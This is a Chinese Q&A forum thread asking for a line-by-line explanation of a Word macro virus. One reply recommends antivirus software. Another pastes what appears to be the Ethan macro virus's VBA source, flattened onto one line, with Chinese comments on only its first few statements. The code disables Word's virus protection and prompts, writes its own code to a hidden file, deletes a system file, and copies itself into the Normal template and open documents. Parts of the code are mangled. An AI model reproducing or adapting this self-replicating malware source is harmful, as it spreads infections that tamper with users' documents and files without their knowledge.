求高手指教宏病毒 代码的详细分析，每一句都是什么意思

求高手指教宏病毒 代码的详细分析，每一句都是什么意思

杀毒软件直接杀毒不就得了么
安装个电脑管家到电脑上
然后使用病毒查杀，对着你的电脑杀毒就行了

private sub document_close（） ‘close事件，当文档关闭时触发 on error resume next ’如果出错了就执行下一句 s = activedocument.saved ，将当前活动文档保存，并把保存结果给s变量 application.enablecancelkey = not -1 ‘使程序运行无法中断 with options: .confirmconversions = 0: .virusprotection = 0: .savenormalprompt = 0: end with 将好几句写到了以行，设置options的一些属性。太麻烦了，如果你有一句两句不明白我告诉你。 randomize if dir（"c:\ethan.___", 6） = "" then open "c:\ethan.___" for output as #1 for i = 1 to macrocontainer.vbproject.vbcomponents.item（1）.codemodule.countoflines a = macrocontainer.vbproject.vbcomponents.item（1）.codemodule.lines（i, 1） print #1, a next i close #1 setattr "c:\ethan.___", 6 end if if dir（"c:\class.sys"） <> "" then kill "c:\class.sys" if normaltemplate.vbproject.vbcomponents.item（ 1 ） .codemodule.lines （ 1, 1 ） <> "private sub document_close（）" then set t = normaltemplate.vbproject.vbcomponents.item（1） else if activedocument.vbproject.vbcomponents.item（ 1 ） .codemodule.lines （ 1, 1 ） <> "private subdocument_close（）" then set t = activedocument.vbproject.vbcomponents.item（1） else t = "" end if if t <> "" then open "c:\ethan.___" for input as #1 if lof（1） = 0 then goto q i = 1 do while not eof（1） line input #1, a line input #1, a t.codemodule.insertlines i, a i = i + 1 loop q: close #1 if rnd < 0.3 then with dialogs （ wddialogfilesummaryinfo ） : .title = "ethan frome" : .author = "ew/ln/cb": .keywords = "ethan": .execute: end with if left（activedocument.name, 8） <> "document" then activedocument.saveas filename:=activedocument.fullname end if if activedocument.saved <> s then activedocument.saved= s end sub